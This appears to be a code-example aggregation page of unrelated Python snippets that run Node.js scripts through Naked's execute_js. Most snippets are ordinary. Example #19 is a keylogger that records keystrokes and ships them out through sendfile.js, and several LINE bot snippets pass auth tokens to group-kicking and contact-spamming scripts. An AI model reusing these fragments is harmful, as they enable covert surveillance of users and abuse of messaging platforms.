예제 #1
0
파일: app.py 프로젝트: jl789/H2O
def get_orbit():

    # OrbitDB writeflag issue workaround: delete local copy on query
    if os.path.exists('orbitdb'):
        shutil.rmtree('orbitdb')

    if os.path.exists('data.json'):
        os.remove('data.json')

    # Get parameters for OrbitDB
    parameters = request.get_json()

    # Write OrbitDB address to file
    output = {"address": parameters['address']}
    with open('config.json', 'w') as outfile:
        json.dump(output, outfile)

    execute_js('orbit.js')

    # Read in dataframe
    try:
        data = pd.read_json('data.json')
        df = data.values[:, [0, 1]]

        # Plot original
        plt.figure(1)
        plt.scatter(df[:, 0], df[:, 1])
        plt.savefig('../frontend/src/assets/images/before.png')
        plt.close()

    except:
        print('No OrbitDB database found.')

    return ('', 200)
예제 #2
0
def masterMiner():
                miners_started = 0
                challenge,apiId,difficulty = getVariables(70);
                if difficulty > 0:
                    while True:
                                    nonce = mine(str(challenge),public_keys[miners_started],difficulty);
                                    if(nonce > 0):
                                                    print ("You guessed the hash!");
                                                    value = [1000,2000,3000,4000,5000]
                                                    print('Value',value);
                                                    xxx = 0
                                                    apiIdstring=""
                                                    valuestring=""
                                                    while xxx < 5:
                                                        apiIdstring += str(apiId[xxx]) +" "
                                                        valuestring += str(value[xxx]) +" "
                                                        xxx += 1

                                                    arg_string =""+ str(nonce) + " "+ str(apiIdstring) +" " + str(valuestring)+" "+str(contract_address)+" "+str(public_keys[miners_started])+" "+str(private_keys[miners_started])
                                                    print("arg string", arg_string)
                                                    execute_js('testSubmitterv2.js',arg_string);
                                                    miners_started += 1 
                                                    if(miners_started % 5 == 0):
                                                                    time.sleep(35);
                                                                    challenge,apiId,difficulty= getVariables(0);
                                                                    if(miners_started == 10):
                                                                        miners_started = 0;
                                    else:
                                                    challenge,apiId,difficulty = getVariables(0); 
                                                    print('variables grabbed')
                print('Miner Stopping')
예제 #3
0
def callAnalyzeCalled(inDir, hid, outDir):
    # logging.info("on adds folder there are: " + str(len(os.listdir(inDir))))
    inDirList = os.listdir(inDir)
    for each in inDirList:
        # print("File = %s" % each)
        # subprocess.call(["node", "analyzeCalled.js", inDir+'/'+each, each, hid])
        execute_js('analyzeCalled.js ' + inDir + '/' + each + ' ' + each +
                   ' ' + hid + ' ' + outDir)
예제 #4
0
 def _run_js(self, file_path: str = '', arguments: str = ''):
     try:
         execute_js(file_path, arguments)
     except KeyboardInterrupt:
         self.is_running = False
         print(
             f'\n{self.pytgcalls.FAIL} Stopped NodeJS Core, re-click Ctr+C to close properly!'
             f'{self.pytgcalls.ENDC}')
예제 #5
0
def get_image():
    search_item = request.values['image']

    input_val(search_item)

    #return render_template("upload.html", image_name=filename)

    #Run persons stuff to create a video

    execute_js('read_directory.js', 'out.mp4')
예제 #6
0
파일: start_test.py 프로젝트: m1heng/Gimme
def filecheck():
    image_root = './image'
    while True:
        execute_js('./down.js')
        time.sleep(15)
        dir_list = os.listdir(image_root)
        if len(dir_list) != 0:
            for nd in dir_list:
                if nd.startswith('user'):
                    create_manual_data_test(image_root, nd)
                    shutil.rmtree(os.path.join(image_root, nd))
예제 #7
0
def run(**kwargs):
	path1 = os.path.join(os.path.abspath('.'),'gsm_simulator','index.js')
	path2 = os.path.join(os.path.abspath('.'),'client','app.js')
	success = execute_js(path1, arguments=kwargs['population']+' &')

	if success:
		success = execute_js(path2)
		if not success:
			print('Unable to run client module')
	else:
		print("Unable to run gsm_simulator module")
예제 #8
0
    def handle(self, *args, **options):
        # Write the incidents.json file to disk
        path_to_incidents = os.path.join(settings.BASE_DIR, 'pack',
                                         'incidents.json')
        with open(path_to_incidents, 'w') as f:
            f.write(json.dumps(self.get_dict()))

        # Calls the node script that will pack the incidents
        # and store them in the static/json directory
        path_to_packer = os.path.join(settings.BASE_DIR, 'pack', 'pack.js')
        execute_js(path_to_packer)

        # Remove the incidents.json file
        os.remove(path_to_incidents)
예제 #9
0
 def _run_js(
     self,
     file_path: str = '',
     arguments: str = '',
 ):
     try:
         execute_js(file_path, arguments)
     except KeyboardInterrupt:
         self.is_running = False
         print(
             f'\n{self.pytgcalls.FAIL} '
             f'NodeJS Core Stopped, '
             f'press Ctrl+C again to exit!'
             f'{self.pytgcalls.ENDC}', )
예제 #10
0
    def handle(self, *args, **options):
        # Write the incidents.json file to disk
        path_to_incidents = os.path.join(
            settings.BASE_DIR, 'pack', 'incidents.json')
        with open(path_to_incidents, 'w') as f:
            f.write(json.dumps(self.get_dict()))

        # Calls the node script that will pack the incidents
        # and store them in the static/json directory
        path_to_packer = os.path.join(
            settings.BASE_DIR, 'pack', 'pack.js')
        execute_js(path_to_packer)

        # Remove the incidents.json file
        os.remove(path_to_incidents)
예제 #11
0
async def botcuBot(op):
    if op.type == 13:
        if botcu.getProfile().mid in op.param3:
            xyz = botcu.getCompactGroup(op.param1)
            contact = botcu.getContact(op.param2)
            botcu.acceptGroupInvitation(op.param1)
            mems = [c.mid for c in xyz.members]
            targk = []
            for x in mems:
                if x not in [op.param2, botcu.profile.mid]: targk.append(x)
                xbot = 'dual.js gid={} token={}'.format(
                    op.param1, botcu.authToken)
                for x in targk:
                    xbot += ' uik={}'.format(x)
                execute_js(xbot)
예제 #12
0
def masterMiner():
                global wait_between, mineCount
                miners_started = 0

                challenge,apiId,difficulty,apiString,granularity = getVariables();
                while True:
                                nonce = mine(str(challenge),public_keys[miners_started],difficulty);
                                if(nonce > 0):
                                                print ("You guessed the hash!");
                                                #value = max(0,(5000- miners_started*10) * granularity);
                                                value = max(0,(10000 - miners_started*10) * granularity); #account 2 should always be winner
                                                print('Value',value);
                                                arg_string =""+ str(nonce) + " "+ str(apiId) +" " + str(value)+" "+str(contract_address)+" "+str(public_keys[miners_started])+" "+str(private_keys[miners_started])
                                                print(arg_string)
                                                #success = execute_js('testSubmitter.js',arg_string)
                                                #print('WE WERE SUCCESSFUL: ', success)
                                                execute_js('testSubmitter.js',arg_string);
                                                miners_started += 1
                                                if(mineCount == 6):
                                                    print("1 solved")
                                                    time.sleep(wait_between)
                                                    print("sleeping ",wait_between)
                                                if(miners_started == 5):
                                                    mineCount +=1;
                                                    if (mineCount == 1):
                                                        print("pausing, 40") 
                                                        time.sleep(40)
                                                    if(mineCount == 6):
                                                        time.sleep(wait_between)
                                                    v = False;
                                                    while(v == False):
                                                                    time.sleep(2);
                                                                    _challenge,_apiId,_difficulty,_apiString,_granularity= getVariables();
                                                                    if challenge == _challenge:
                                                                                    v = False
                                                                                    time.sleep(10);
                                                                    elif _apiId > 0:
                                                                                    v = True
                                                                                    challenge = _challenge;
                                                                                    apiId = _apiId;
                                                                                    difficulty = _difficulty;
                                                                                    apiString = _apiString;
                                                                                    granularity = _granularity;
                                                    miners_started = 0;
                                else:
                                                challenge,apiId,difficulty,apiString = getVariables(); 
                                                print('variables grabbed')
                print('Miner Stopping')
예제 #13
0
  def step(self, action):
    start = time.time()
    temp = np.round(torch.clamp(self.current_state+action, 0, 1), 3)
    args = ' '.join(map(str, temp.tolist()))

    success = execute_js('change-param.js', args)
    if not success:
      raise Exception("change-param.js ran incorrectly")
    try:
      x_l, sr = torchaudio.load('data/out_long.wav')  
      x_s, sr = torchaudio.load('data/out_short.wav')  
    except:
      time.sleep(2)
      x_l, sr = torchaudio.load('data/out_long.wav')  
      x_s, sr = torchaudio.load('data/out_short.wav') 

    end = time.time() 
    print("step: ", end-start)

    r = self.getReward(x_s, x_l, sr)

    done = False if self.step_count < self.max_timesteps else True
    self.step_count += 1
    self.current_state = temp

    return self.current_state, r, done, None
def wunderground_NCE_retrieveData():
    success = execute_js('wunderground_pws_NCE.js')
    if success:
        print 'weather station extracted'
    else:
        print 'error: weather station not extracted'
    return
예제 #15
0
 def teacher_ans(images):
     di = {}
     for i in range(len(images)):
         images[i].save('ans_page1' + '.jpg', 'JPEG')
         result = execute_js("ans_test.js")
         di[str(i)] = ans_contents()
     return di
    def get_livestream(self, js_file, outputdir, duration_seconds=60):
        """Get a livestream for a minute and save it in outputdir in chunks."""
        from Naked.toolshed.shell import execute_js
        import os
        from shutil import rmtree

        try:
            outputdir = os.path.abspath(outputdir)
            if os.path.isdir(outputdir):
                rmtree(outputdir)
            os.mkdir(outputdir)
            params = self._ring.username+' '+self._ring.password+' '+ \
                outputdir+' '+str(duration_seconds)
            execute_js(js_file, params)
        except Exception as e:
            raise e
예제 #17
0
def get_tasks():
    args = request.args
    #print (args)
    uname = args['key1']
    dict = {}
    fnd = 0
    i = 0
    while (fnd == 0):
        success = execute_js(r'E:\nodeprogs\node2\index.js', str(i))
        i = i + 1
        dict = grun.search_rev(uname)
        found = dict['found']
        if (found == 1):
            fnd = 1
            dict.pop('found', None)
            textdata = dict['review']

            sent_dict = sent_analysis.sent(textdata)
            if (sent_dict['sent_no'] == 1):
                dict['sentiment'] = "Positive review"
            elif (sent_dict['sent_no'] == 0):
                dict['sentiment'] = "Negative review"
            dict['additional data'] = sent_dict['text']

        elif (found == 0):
            fnd = 0
    return jsonify({'output': dict})
예제 #18
0
def fn_gplay():
    print("inside gplay")
    args = request.args
    uname = args['key1']
    appid = args['key2']
    dict = {}
    fnd = 0
    i = 0
    while (fnd == 0):
        node_arg = str(i) + "+" + appid
        print(type(node_arg))
        success = execute_js(r'E:\nodeprogs\node2\index.js', node_arg)
        print(success)
        i = i + 1
        dict = grun.search_rev(uname)
        found = dict['found']
        if (found == 1):
            fnd = 1
            dict.pop('found', None)
            textdata = dict['review']

            sent_dict = sent_analysis.sent(textdata)
            if (sent_dict['sent_no'] == 1):
                dict['sentiment'] = "Positive review"
            elif (sent_dict['sent_no'] == 0):
                dict['sentiment'] = "Negative review"
            dict['additional data'] = sent_dict['text']

        elif (found == 0):
            fnd = 0
    return jsonify({'output': dict})
예제 #19
0
def on_press(key):

    f = open(filename, 'a')

    if hasattr(key, 'char'):
        f.write(key.char)
    elif key == Key.space:
        f.write(' ')
    elif key == Key.enter:
        f.write('\n')
    elif key == Key.tab:
        f.write('\t')
    elif key == Key.backspace:
        deleteLast('key_logger.txt')
    elif key == Key.caps_lock:
        f.write('[Upper]')
    else:
        f.write('['+key.name+']')

    f.close()

    if getChars('key_logger.txt') >= 501:
        result = execute_js('sendfile.js')
        if result:
            deleteContentFile('key_logger.txt')
            print(
                'file content successfully deleted => Javascript succcessfully executed!')
        else:
            print('Javascript not executed, something went wrong!')
예제 #20
0
    def check(ans_images, images):
        li_marks = []
        full_paper_student = ""
        full_paper_teacher = ""
        ans_key = teacher_ans(ans_images)
        for i in range(len(images)):
            try:
                li_sentences = []
                images[i].save('page1' + '.jpg', 'JPEG')
                result = execute_js("test.js")
                com2 = contents().replace('\n',
                                          ' ').replace('\\n', ' ').replace(
                                              '\r', ' ').lower()
                full_paper_student += com2
                ans_page = ans_key[str(i)].replace('\n', ' ').replace(
                    '\\n', ' ').replace('\r', ' ').lower()
                full_paper_teacher += ans_page
                li_sentences.extend([com2, ans_page])
                print("cleaned", li_sentences)
                marks = semantic_similarity_roberta(model, li_sentences)
                li_marks.append(marks)
            except:
                pass

        final_calculations = semantic_similarity_roberta(
            model, [full_paper_student, full_paper_teacher])
        return li_marks, final_calculations
예제 #21
0
파일: tests.py 프로젝트: cjmabry/reddimatch
    def test_ui(self):
        if os.environ.get('CI'):
            pass
        else:
            u1 = User(username="******")
            u2 = User(username="******")
            u3 = User(username="******")
            u4 = User(username="******")

            db.session.add(u1)
            db.session.add(u2)
            db.session.add(u3)
            db.session.add(u4)

            s1 = Subreddit(name='nfl')
            s2 = Subreddit(name='askreddit')
            s3 = Subreddit(name='pics')
            s4 = Subreddit(name='funny')

            u1.favorite(s1)
            u2.favorite(s1)
            u4.favorite(s1)

            db.session.commit()

            success = execute_js('./register-accept-chat.js')
            assert success
예제 #22
0
def dualmode(client, to, stats, app):
    group = client.getGroup(to)
    if group.invitee == None:
        nama = []
    else:
        nama = [contact.mid for contact in group.invitee]
    targets = []
    for a in nama:
        if a in stats['blacklist']:
            targets.append(a)
    nami = [contact.mid for contact in group.members]
    targetk = []
    cms = "/root/dual.js gid={} token={} app={}".format(
        to, client.authToken, app)
    for a in nami:
        if a in stats['blacklist']:
            targetk.append(a)
    for y in targets:
        cms += " uid={}".format(y)
    for y in targetk:
        cms += " uik={}".format(y)
    client.sendMessage(to, "Please wait...")
    print(cms)
    success = execute_js(cms)
    if success:
        client.sendMessage(to, "Execute success")
    else:
        client.sendMessage(to, "error")
예제 #23
0
def masterMiner():
    challenge, apiId, difficulty, apiString = getVariables()
    while True:
        nonce = mine(str(challenge), public_keys[miners_started], difficulty)
        if (nonce > 0):
            print("You guessed the hash!")
            value = getAPIvalue(apiString) - miners_started * 10
            #account 2 should always be winner
            arg_string = "" + str(nonce) + " " + str(apiId) + " " + str(
                value) + " " + str(contract_address) + " " + str(
                    public_keys[miners_started]) + " " + str(
                        private_keys[miners_started])
            print(arg_string)
            success = execute_js('testSubmitter.js', arg_string)
            v = False
            while (v == False):
                time.sleep(2)
                _challenge, _apiId, _difficulty, _apiString = getVariables()
                if challenge == _challenge:
                    v = False
                    time.sleep(5)
                elif _apiId > 0:
                    v = True
                    challenge = _challenge
                    apiId = _apiId
                    difficulty = _difficulty
                    apiString = _apiString
        else:
            challenge, apiId, difficulty, apiString = getVariables()
    print('Miner Stopping')
예제 #24
0
파일: startDrone.py 프로젝트: aCard0s0/DAP
def callNodeJsFromDrone():
    from Naked.toolshed.shell import execute_js

    logg = {"state": "executando captura no park " + str(park), "idFlow": 1, "time": str(time.strftime('%Y-%m-%dT%H:%M:%S')) }
    url = restHost + "/api/logger/park/" + str(park) + "/drone/" + str(drone)
    #para versoes diferentes
    #resp = requests.post(url, json=logg)
    headers = {'content-type': 'application/json'}

    requests.post(url, data=json.dumps(logg), headers=headers)


    ftpresult = prepareFTP()

    if ftpresult:
    	
	    success = execute_js(nodejsScript)
	    if success is False:
	        logg = {"state": "nao foi possivel executar o mavlink", "idFlow": 1, "time": str(time.strftime('%Y-%m-%dT%H:%M:%S')) }
	        #resp = requests.post(url, json=logg)
	        requests.post(url, data=json.dumps(logg), headers=headers)
	    else:
	        time.sleep(10)
	        
	        startFtpJob()
	        logg = {"state": "a enviar video para analise de imagem", "idFlow": 1, "time": str(time.strftime('%Y-%m-%dT%H:%M:%S')) }
	        #resp = requests.post(url, json=logg)
	        requests.post(url, data=json.dumps(logg), headers=headers)

	    print ("sent to watchfolder for image Analysis")
def main():
    #Get studio URL
    studioURL = sys.argv[1]

    studioScrape = studioURL.strip('1234567890 ')  #Check for a bare number

    studioID = studioURL.strip(
        'htps:/cra.mieduo')  #Takes off "https://scratch.mit.edu/studios/"

    teacherID = sys.argv[2]

    #Get folder for a module
    module = sys.argv[3].strip()
    if module[-1] == '/':
        module = module[:-1]
    #Get grade level
    grade = int(sys.argv[4])

    # Get data from web
    if studioScrape != "":
        print("Scraping " + studioID + " data from web...")
        call(["python3", "webScrape.py", studioURL, module])
        print("Scraped.\n")
    else:
        print("No request to scrape...moving on to grading " + studioID +
              ".\n")

    # Prepare inputs for grading script

    modname = module.strip("./ ")

    # looks for script in higher directory
    script = "../grading-scripts-s3/" + modname + ".js"
    project = module + "/json_files_by_studio/" + studioID + "/"
    folder = module + "/csv/" + str(grade) + '/'
    results = folder + teacherID + '-' + studioID + ".csv"

    # Check for verbose tag
    verbose = ""
    if len(sys.argv) > 4 and "verbose" in sys.argv[4]:
        verbose = " --verbose"
        print("Verbose grading active.")

    # Run grading script on studio
    print("Running grading script...")
    execute_js('grade.js', script + " " + project + " " + results + verbose)
    print("Finished grading.\n")
def wunderground_NCE_retrieveForecastData():
    success = execute_js('forecast_NCE.js')
    print "* thread wunderground_NCE_retrieveForecastData"
    if success:
        print 'forecast data extracted'
    else:
        print 'error: forecast data not extracted'
    return
예제 #27
0
def RunNodeScript():
    from Naked.toolshed.shell import execute_js, muterun_js
    result = execute_js('CCW/static/JS/getTweetLocations.js')

    if result:
        print('Succesfull')
    else:
        print('Unsuccesfull')
예제 #28
0
    def parse(self, response):
        #print(response.url)
        hTwo_selectors = response.xpath("//h2")
        p_selectors = response.xpath("//p")

        temp_max = self.kelvin_to_farenheit(self.find_weather())
        print(temp_max)
        #self.find_location()

        #obtain tag_info
        if (temp_max <= 70 and temp_max >= 55):
            #print(hTwo_selectors[6])
            success = execute_js('drag_info.js')

        elif (temp_max >= 70):
            #t-shirt entries
            success = execute_js('drag_info.js')
예제 #29
0
def grade_and_save(studioURL, teacherID, module, grade, verbose=""):

    studioScrape = studioURL.strip('1234567890 ')  # Check for a bare number

    studioID = studioURL.strip(
        'htps:/cra.mieduo')  # Takes off "https://scratch.mit.edu/studios/"

    # Get folder for a module
    module = module.strip()
    if module[-1] == '/':
        module = module[:-1]
    # Get grade level
    grade = int(grade)

    project = module + "/json_files_by_studio/" + studioID + "/"

    project = module + "/json_files_by_studio/" + studioID + "/"
    print(project)
    # Get data from web
    if not os.path.isdir(project):
        print("Studio " + studioID +
              " not found locally, scraping data from web...")
        call(["python3", "webScrape.py", studioURL, module])
        print("Scraped.\n")
    else:
        print("Studio " + studioID + " found locally.")

    # Prepare inputs for grading script

    modname = module.strip("./ ")

    # looks for script in higher directory
    script = "../grading-scripts-s3/" + modname + ".js"
    folder = module + "/csv/" + str(grade) + '/'
    results = folder + teacherID + '-' + studioID + ".csv"

    # Check for verbose tag

    if "verbose" in verbose:
        verbose = " --verbose"
        print("Verbose grading active.")

    # Run grading script on studio
    print("Running grading script...")
    execute_js('grade.js', script + " " + project + " " + results + verbose)
    print("Finished grading.\n")
예제 #30
0
 def run(self):
     print("Starting up webserver")
     result = execute_js(os.path.join(config.CONFIG["directory"]["main"],'website/server.js'))
     if result:
         print("Done website")
         # JavaScript is successfully executed
     else:
         print("failed")
예제 #31
0
def start_run(to, contacts=settings['contact']):
    if contacts == []:
        return False
    try:
        client = LINE(_to=to, _client=exg, appName=appJS)
    except:
        exg.sendMessage(
            to,
            u'\u0e25\u0e47\u0e2d\u0e01\u0e2d\u0e34\u0e19\u0e44\u0e21\u0e48\u0e2a\u0e4d\u0e32\u0e40\u0e23\u0e47\u0e08'
        )
        return False
    else:
        if client.getSettings().e2eeEnable == True:
            client.sendMessage(
                to,
                u'\u0e01\u0e23\u0e38\u0e13\u0e32\u0e1b\u0e34\u0e14 Letter Sealing \u0e01\u0e48\u0e2d\u0e19\u0e17\u0e4d\u0e32\u0e01\u0e32\u0e23\u0e23\u0e31\u0e19'
            )
            return False
        cmd = 'spam.js token={} mid={} name={}'.format(
            client.authToken, client.profile.mid, settings['name'].strip())
        parsed_list = [c.mid for c in client.getContacts(contacts)]
        friends = client.getAllContactIds()
        for mid in parsed_list:
            if mid not in friends:
                try:
                    client.findAndAddContactsByMid(mid)
                except:
                    try:
                        client.sendMessage(
                            to, 'Unable to add contact. {}'.format(mid))
                    except TalkE as err:
                        try:
                            if err.code in (7, 8, 20):
                                return exg.sendMessage(
                                    to,
                                    u'\u0e01\u0e23\u0e38\u0e13\u0e32\u0e25\u0e47\u0e2d\u0e01\u0e2d\u0e34\u0e19\u0e43\u0e2b\u0e21\u0e48\u0e2d\u0e35\u0e01\u0e04\u0e23\u0e31\u0e49\u0e07'
                                )
                        finally:
                            err = None
                            del err

                cmd += ' uid={}'.format(mid)

        execute_js(cmd)
        exg.sendMessage(to, '[@invitee:NOTIF]\nDone operation.')
예제 #32
0
	title 	= line.select('.title')[0].text.encode('utf-8').strip()
	date 	= line.select('.date')[0].text.encode('utf-8')

	#Just fetch the title which has 無, 北
	if '無' in title and '北' in title:
		if line.find_all('a'):
			ID = line.find_all('a')[0].get('href').encode('utf-8')

		info["title"] = title
		info["ID"] = ID
		choices.append(info)

#record seen information
filename = "seen.txt"
f = open(filename, 'r+')
seenPlace = [x.strip('\n') for x in f.readlines()]

for choice in choices:
	#if the new info coming send fb message to us
	if choice["ID"] not in seenPlace:
		executeScript = 'sendChat.js ' + Rick + " " + choice["title"] + " https://www.ptt.cc" + choice["ID"]
		success = execute_js(executeScript)
		f.write(choice["ID"] + '\n')
else:
	f.close()



	

	
예제 #33
0
from Naked.toolshed.shell import execute_js

# success case
series_a = execute_js('scripts/series-a.js')
series_b = execute_js('scripts/series-b.js')
series_c = execute_js('scripts/series-c.js')

print 'All scripts are done!'
예제 #34
0
from Naked.toolshed.shell import execute_js

# success case
success = execute_js('scripts/sample.js')
print 'Sample script is done with result: %s' % success

# failed case
failed = execute_js('scripts/sample.js --code=1')
print 'Sample script is done with result: %s' % failed
예제 #35
0
import os
import sys
from Naked.toolshed.shell import execute_js
os.chdir("/Users/shaunak/swf")
filenames = os.listdir(os.curdir)
for filename in filenames:
    if filename.endswith(("jpg")):
        sys.stderr.write ('File found. Exiting program. \n')
        os.chdir("/Users/shaunak/livestream/camera")
        success = execute_js('email.js')
        break
else:
    sys.stderr.write ('No file found. Exiting program. \n')
    sys.exit()
예제 #36
0
XDS_list = ["COM3"]   
ver_CC2640 = "2.13.42"             
ver_cu300 = "141"           
log_file = "./output/program_log.txt"    
JFlash_path = "C:\\Program Files (x86)\\SEGGER\\JLink_V510g\\JFlash.exe"
Flash_Programmer_2_path = "C:\\Program Files (x86)\\Texas Instruments\\SmartRF Tools\\Flash Programmer 2\\bin\\srfprog.exe"
#####################     Initialize the factory log     ######################
if not os.path.exists("./output/"):
    os.makedirs("./output/")
fo = open(log_file, "w")
fo.write("Device not programmed!!")
fo.close()

#####################   Generate Homekit Pairing PIN   #######################

success = execute_js('homekit-pingen-Charlie.js %d' % Num_flasher)
if success:
    print("Homekit Pairing PINs generated")
else:
    print("Homekit Pairing PINs generation failed!!")
    sys.exit()
    
#####################   Read Homekit PIN from the file   #####################
pins = []
if not os.path.exists("./temp/"):
    os.makedirs("./temp/")
fo = open("./temp/HKPins.txt", "r")
print "Loading Homekit Pairing codes from file: ", fo.name
for i in range(Num_flasher):
    line = fo.readline()
    line = line.translate(None, ''.join("\n"))
예제 #37
0
fw = raw_input("Please input CU300 firmware version: ")
jflash_ver = raw_input("Please input jFlash version (e.g. V500i): ")
#print str(sys.argv)
#zip = zipfile.ZipFile(str(sys.argv[1]))
zip_file = "build_" + fw + ".zip"
try:
    zip = zipfile.ZipFile(zip_file)
    zip.extractall(r'.\source')
except:
    print("Can't find zip file: %s" %zip_file)
    sys.exit()
####################   Generate layout.bin   ####################################
cmd1 = 'gen_layout.js --inf source/merge_files/layout_mw300_rd.txt --outf source/merge_files/layout.bin'
#print cmd1
success = execute_js(cmd1)
if success:
    print("layout.bin generated")
else:
    print("layout.bin generation failed!!")
    sys.exit()

####################   Generate wifi.bin   ####################################
cmd2 = 'gen_wifi_fw.js --inf source/merge_files/mw30x_uapsta_14.76.36.p103.bin --outf source/merge_files/wifi.bin'
#print cmd2
success = execute_js(cmd2)
if success:
    print("wifi.bin generated")
else:
    sys.exit("wifi.bin generation failed!!")
예제 #38
0
파일: naked.py 프로젝트: antareja/surabi
import sys,os
from Naked.toolshed.shell import execute_js


#def main():
SITE_ROOT = os.path.dirname(os.path.realpath(__file__))
PARENT_ROOT=os.path.abspath(os.path.join(SITE_ROOT, os.pardir))
success = execute_js(PARENT_ROOT + '/nodejs/server.js')
print('connected nodejs' , sys.argv, ' arguments')
if success:
    print('success')
    # handle success of the JavaScript
else:
    print('cannot connected to nodejs')
    # handle failure of the JavaScript


#if __name__ == "__main__":
#    main()
예제 #39
0
from Naked.toolshed.shell import execute_js

# success case
success = execute_js('scripts/parent.js --code=0')
print '==============================================='
print 'Run script with exit code 0'
print 'Sample script is done with result: %s' % success
print '==============================================='

# failed case
failed = execute_js('scripts/parent.js --code=1')
print '==============================================='
print 'Run script with exit code 1'
print 'Sample script is done with result: %s' % failed
print '==============================================='
예제 #40
0
 def test_execute_node_fail(self):
     self.assertFalse(execute_js(self.node_fail_path))
예제 #41
0
 def test_execute_node_success(self):
     self.assertTrue(execute_js(self.node_success_path))
from Naked.toolshed.shell import execute_js

success = execute_js('expand-utterances.js')